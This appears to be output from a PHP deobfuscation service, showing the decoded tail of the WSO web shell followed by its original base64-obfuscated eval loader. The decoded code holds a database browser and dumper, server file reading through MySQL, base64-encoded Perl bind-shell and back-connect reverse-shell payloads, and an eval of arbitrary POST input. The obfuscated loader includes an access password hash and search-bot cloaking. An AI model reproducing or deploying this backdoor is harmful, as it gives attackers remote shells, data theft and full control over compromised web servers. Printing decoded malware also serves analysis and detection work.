                                                                        foreach ($_POST['tbl'] as $v) $db->dump($v);
                                                                        exit;
                                                                    } elseif ($fp = @fopen($_POST['file'], 'w')) {
                                                                        foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
                                                                        fclose($fp);
                                                                        unset($_POST['p2']);
                                                                    } else die('<script>alert("Error! Can't open file");window.history.back(-1)</script>');
                                                                }
                                                                wsoHeader();
                                                                echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
<td><select name='type'><option value='mysql' ";
                                                                if (@$_POST['type'] == 'mysql') echo 'selected';
                                                                echo ">MySql</option><option value='pgsql' ";
                                                                if (@$_POST['type'] == 'pgsql') echo 'selected';
                                                                echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value="" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . ""></td>
<td><input type=text name=sql_login value="" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . ""></td>
<td><input type=text name=sql_pass value="" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . ""></td><td>";
                                                                $tmp = "<input type=text name=sql_base value=''>";
                                                                if (isset($_POST['sql_host'])) {
                                                                    if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
                                                                        switch ($_POST['charset']) {
                                                                            case "Windows-1251":
                                                                                $db->setCharset('cp1251');
                                                                            break;
                                                                            case "UTF-8":
                                                                                $db->setCharset('utf8');
                                                                            break;
                                                                            case "KOI8-R":
                                                                                $db->setCharset('koi8r');
                                                                            break;
                                                                            case "KOI8-U":
                                                                                $db->setCharset('koi8u');
                                                                            break;
                                                                            case "cp866":
                                                                                $db->setCharset('cp866');
                                                                            break;
                                                                        }
                                                                        $db->listDbs();
                                                                        echo "<select name=sql_base><option value=''></option>";
                                                                        while ($item = $db->fetch()) {
                                                                            list($key, $value) = each($item);
                                                                            echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
                                                                        }
                                                                        echo '</select>';
                                                                    } else echo $tmp;
                                                                } else echo $tmp;
                                                                echo "</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='" . @addslashes($_POST['sql_base']) . "';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
                                                                if (isset($db) && $db->link) {
                                                                    echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
                                                                    if (!empty($_POST['sql_base'])) {
                                                                        $db->selectdb($_POST['sql_base']);
                                                                        echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
                                                                        $tbls_res = $db->listTables();
                                                                        while ($item = $db->fetch($tbls_res)) {
                                                                            list($key, $value) = each($item);
                                                                            if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                                                                            $value = htmlspecialchars($value);
                                                                            echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick="st('" . $value . "',1)">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
                                                                        }
                                                                        echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value="download";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
                                                                        if (@$_POST['p1'] == 'select') {
                                                                            $_POST['p1'] = 'query';
                                                                            $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
                                                                            $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                                                                            $num = $db->fetch();
                                                                            $pages = ceil($num['n'] / 30);
                                                                            echo "<script>d.sf.onsubmit=function(){st("" . $_POST['p2'] . "", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                                                                            echo " of $pages";
                                                                            if ($_POST['p3'] > 1) echo " <a href=# onclick='st("" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
                                                                            if ($_POST['p3'] < $pages) echo " <a href=# onclick='st("" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
                                                                            $_POST['p3']--;
                                                                            if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
                                                                            else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
                                                                            echo "<br><br>";
                                                                        }
                                                                        if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
                                                                            $db->query(@$_POST['p2']);
                                                                            if ($db->res !== false) {
                                                                                $title = false;
                                                                                echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
                                                                                $line = 1;
                                                                                while ($item = $db->fetch()) {
                                                                                    if (!$title) {
                                                                                        echo '<tr>';
                                                                                        foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
                                                                                        reset($item);
                                                                                        $title = true;
                                                                                        echo '</tr><tr>';
                                                                                        $line = 2;
                                                                                    }
                                                                                    echo '<tr class="l' . $line . '">';
                                                                                    $line = $line == 1 ? 2 : 1;
                                                                                    foreach ($item as $key => $value) {
                                                                                        if ($value == null) echo '<td><i>null</i></td>';
                                                                                        else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                                                                                    }
                                                                                    echo '</tr>';
                                                                                }
                                                                                echo '</table>';
                                                                            } else {
                                                                                echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                                                                            }
                                                                        }
                                                                        echo "<br></form><form onsubmit='d.sf.p1.value="query";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                                                                        if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
                                                                        echo "</textarea><br/><input type=submit value='Execute'>";
                                                                        echo "</td></tr>";
                                                                    }
                                                                    echo "</table></form><br/>";
                                                                    if ($_POST['type'] == 'mysql') {
                                                                        $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                                                                        if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value="loadfile";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
                                                                    }
                                                                    if (@$_POST['p1'] == 'loadfile') {
                                                                        $file = $db->loadFile($_POST['p2']);
                                                                        echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
                                                                    }
                                                                } else {
                                                                    echo htmlspecialchars($db->error());
                                                                }
                                                                echo '</div>';
                                                                wsoFooter();
                                                            }
                                                            function actionNetwork() {
                                                                wsoHeader();
                                                                $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
                                                                $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
                                                                echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit="g(null,null,'bpp',this.port.value);return false;">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit="g(null,null,'bcp',this.server.value,this.port.value);return false;">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
                                                                if (isset($_POST['p1'])) {
                                                                    function cf($f, $t) {
                                                                        $w = @fopen($f, "w") or @function_exists('file_put_contents');
                                                                        if ($w) {
                                                                            @fwrite($w, base64_decode($t));
                                                                            @fclose($w);
                                                                        }
                                                                    }
                                                                    if ($_POST['p1'] == 'bpp') {
                                                                        cf("/tmp/bp.pl", $bind_port_p);
                                                                        $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
                                                                        sleep(1);
                                                                        echo "<pre class=ml1>$out
" . wsoEx("ps aux | grep bp.pl") . "</pre>";
                                                                        unlink("/tmp/bp.pl");
                                                                    }
                                                                    if ($_POST['p1'] == 'bcp') {
                                                                        cf("/tmp/bc.pl", $back_connect_p);
                                                                        $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
                                                                        sleep(1);
                                                                        echo "<pre class=ml1>$out
" . wsoEx("ps aux | grep bc.pl") . "</pre>";
                                                                        unlink("/tmp/bc.pl");
                                                                    }
                                                                }
                                                                echo '</div>';
                                                                wsoFooter();
                                                            }
                                                            function actionRC() {
                                                                if ([email protected]$_POST['p1']) {
                                                                    $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
                                                                    echo serialize($a);
                                                                } else {
                                                                    eval($_POST['p1']);
                                                                }
                                                            }
                                                            if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
                                                            else $_POST['a'] = 'SecInfo';
                                                            if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
                                                            exit;
?>

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("JGF1dGhfcGFzcyA9ICJhMjM5NDNhNWVkYzU2Zjc5NmVhMWFlZWI1N2Y3OGRkNCI7DQokY29sb3IgPSAiI2RmNSI7DQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOw0KJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOw0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOw0KaWYgKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlci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ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0cHd1aWQnKSA9PT0gZmFsc2UpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJykgPT09IGZhbHNlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHdzb0V4KCRpbikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGV4ZWMoJGluLCAkb3V0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSBAam9pbigiIiwgJG91dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAcGFzc3RocnUoJGluKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAc3lzdGVtKCRpbik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwgInIiKSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICghQGZlb2YoJGYpKSAkb3V0Lj0gZnJlYWQoJGYsIDEwMjQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGNsb3NlKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJG91dDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gd3NvVmlld1NpemUoJHMpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2ludCgkcykpICRzID0gc3ByaW50ZigiJXUiLCAkcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcyA+PSAxMDczNzQxODI0KSByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQpIC4gJyBHQic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoJHMgPj0gMTA0ODU3NikgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2KSAuICcgTUInOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCRzID49IDEwMjQpIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCkgLiAnIEtCJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSByZXR1cm4gJHMgLiAnIEInOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB3c29QZXJtcygkcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApICRpID0gJ3MnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSAkaSA9ICdsJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkgJGkgPSAnLSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApICRpID0gJ2InOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSAkaSA9ICdkJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkgJGkgPSAnYyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApICRpID0gJ3AnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlICRpID0gJ3UnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaS49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JykgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaS49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JykgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaS49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JykgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHdzb1Blcm1zQ29sb3IoJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFAaXNfcmVhZGFibGUoJGYpKSByZXR1cm4gJzxmb250IGNvbG9yPSNGRjAwMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkgcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT4nIC4gd3NvUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHJldHVybiAnPGZvbnQgY29sb3I9IzI1ZmYwMD4nIC4gd3NvUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB3c29TY2FuZGlyKCRkaXIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gc2NhbmRpcigkZGlyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkaCA9IG9wZW5kaXIoJGRpcik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKSAkZmlsZXNbXSA9ICRmaWxlbmFtZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkZmlsZXM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gd3NvV2hpY2goJHApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSB3c29FeCgnd2hpY2ggJyAuICRwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkcGF0aCkpIHJldHVybiAkcGF0aDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29IZWFkZXIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGgxPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHdzb1NlY1BhcmFtKCRuLCAkdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHYgPSB0cmltKCR2KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxzcGFuPicgLiAkbiAuICc6IDwvc3Bhbj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJHYsICIiKSA9PT0gZmFsc2UpIGVjaG8gJHYgLiAnPGJyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSBlY2hvICc8cHJlIGNsYXNzPW1sMT4nIC4gJHYgLiAnPC9wcmU+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdhcGFjaGVfZ2V0X21vZHVsZXMnKSkgd3NvU2VjUGFyYW0oJ0xvYWRlZCBBcGFjaGUgbW9kdWxlcycsIGltcGxvZGUoJywgJywgYXBhY2hlX2dldF9tb2R1bGVzKCkpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ0Rpc2FibGVkIFBIUCBGdW5jdGlvbnMnLCAkR0xPQkFMU1snZGlzY